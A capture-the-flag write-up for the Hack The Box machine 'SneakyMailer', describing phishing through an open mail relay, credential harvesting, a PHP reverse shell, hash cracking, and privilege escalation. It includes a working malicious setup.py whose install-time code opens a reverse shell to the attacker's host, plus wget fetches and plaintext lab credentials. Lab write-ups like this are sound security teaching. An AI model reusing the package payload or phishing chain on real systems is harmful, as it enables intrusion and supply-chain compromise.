HTB - SneakyMailer
SneakyMailer
10.10.10.197
by SixPraxis
Write-Up
Initial scans showed FTP, SMTP, POP3, and HTTP ports. Port 80 displayed a dashboard with team member names and emails. The attacker used cewl to scrape the emails, cewl -w cewlwords.txt -e --email_file emails.txt http://sneakycorp.htb
and then awk -F @ '{print $1}' emails.txt > emailstrimmed.txt
to create a list of usernames without the @sneakycorp.htb extension. Using the email list with the python version of smtp-user-enum found all of the accounts valid on this mail server. The main dashboard also had a progress bar that showed PyPI as 80% complete. Fuzzing the main page found nothing useful, but requesting /pypi resulted in a 403 forbidden which confirmed it’s existence. Fuzzing the pypi directory found a register.php.
After registering an account, the new username was tried with smtp-user-enum and not found, so no new leads. With all the valid emails, a phishing attack may be the way to go. With a netcat listener setup on port 4040, the attacker used the Social-Engineer Toolkit (SET) to send out a mass mailer to all the email addresses that had been gathered. The mass mailer used the target’s smtp service as an open-relay and the message contained a link to http://10.10.14.7:4040
.
A few minutes went by and the listener received a post request with Paul Byrd’s account details! hURL is used to decode the password.
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
Decode for easier reading:
hURL -u password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
URL DEcoded :: password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
With Paul Byrd’s creds, the attacker used netcat to log into the IMAP service on port 143 and found an email that had been sent by Paul containing the developer account password. developer : m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Commands issued to find the email:
A1 LOGIN paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
n NAMESPACE
A1 list "INBOX." "*"
g21 SELECT "INBOX.Sent Items"
f fetch 1:2 (BODY[HEADER.FIELDS (Subject)])
F1 fetch 1 RFC822
The FTP server accepted the developer creds and wget -m --user=developer --password='m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C' ftp://10.10.10.197
was (UNNECESSARILY) used to dump the ftp server contents onto the attacker’s machine. The ftp server held the files for the website under a dev directory. Modifying the files on the server had no effect on the live site. The /dev/ directory didn’t exist when requested, so dev was tried as a subdomain and it successfully pulled up the website based on the files in the ftp server. dev.sneakycorp.htb
. A php reverse shell was uploaded and requested which gave the attacker a shell as www-data. su
can switch us to the developer user account since the password is known.
Looking at the home directory, the target user account is named “low”. On the mail server, the only other mail in Paul Byrd’s account was telling low that his job was to install, test, and delete any packages on their pypi installation. So, any package that the attacker can get into the pypi installation will be run by low. The package directory’s permissions are for root and the pypi-pkg group, which included low and pypi. From the pypi-server service in ps aux, the upload is password protected, so that .htpasswd hash needs to be cracked.
pypi 616 0.0 0.6 36800 25808 ? Ss 13:09 0:07 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages
Cracking the htpasswd hash:
cat /var/www/pypi.sneakycorp.htb/.htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
hashcat -m 1600 -a 0 sneakyht.txt rockyou.txt
soufianeelhaoui
In order to create a package to be uploaded to the target’s pypi installation, we need a few files.
setup.py - sdist gets run on this file to create the package.
from distutils.core import setup
import socket
import subprocess
import os
def doIt():
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.7",4141))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
except:
print("Error caught")
doIt()
setup(
name="malpackage",
version="4",
packages=[''],
)
.pypirc - This file gets read during the upload and provides the repo url and credentials. It has to be in the users $HOME directory, so we will be using export HOME=dir to change it to the location of this file.
[distutils]
index-servers =
pypiserver
[pypiserver]
repository = http://127.0.0.1:5000
username = pypi
password = soufianeelhaoui
Uploading a package to the pypi server:
mkdir /dev/shm/11122/
cd /dev/shm/11122/
wget http://10.10.14.7/.pypirc
export HOME=/dev/shm/11122
wget http://10.10.14.7/setup.py
python3 setup.py sdist upload -r pypiserver
When setup.py gets executed by python3 it makes a call back to the attackers machine, this first call needs to be ignored. Keep your listener off, but immediately start it as soon as soon as the first call fails because it needs to be active for when the upload finishes and low attempts to install setup.py. If you time it right, a reverse shell pops as low!
sudo -l
shows we can run pip3 as root with no password. We create another setup.py with code for another reverse shell and then run sudo pip3 install /DIRECTORYWITHSETUPPY
, popping root shell!
Recon
NMAP
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http nginx 1.14.2
143/tcp open imap Courier Imapd (released 2018)
993/tcp open ssl/imap Courier Imapd (released 2018)
8080/tcp open http nginx 1.14.2
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Port 21 - FTP
No anonymous login.
Port 25 - SMTP
NC connection responded with: 220 debian ESMTP Postfix (Debian/GNU). No results from smtp-enum-users nmap script.
Port 80 - HTTP
Redirected to sneakycorp.htb. Displayed an employee dashboard with a team tab that listed the names and e-mails of the company’s employees. Used cewl to scrape the emails.
Port 143/993 - IMAP/POP3
Port 8080
Nginx default page.
Credentials
SMTP:
paulbyrd@sneakymailer.htb : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
FTP:
developer : m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
pypi.sneakycorp.htb htaccess:
username = pypi
password = soufianeelhaoui
User Flag: 12ffb24799b01bf0ed77b9a1c4eda4a5
Root Flag: a9abbe4a494d427d3f774795afb36c47
Notes
To upload to the pypiserver, we do not need a full package structure, setup.py with the necessary sdist code and your reverse shell code is enough.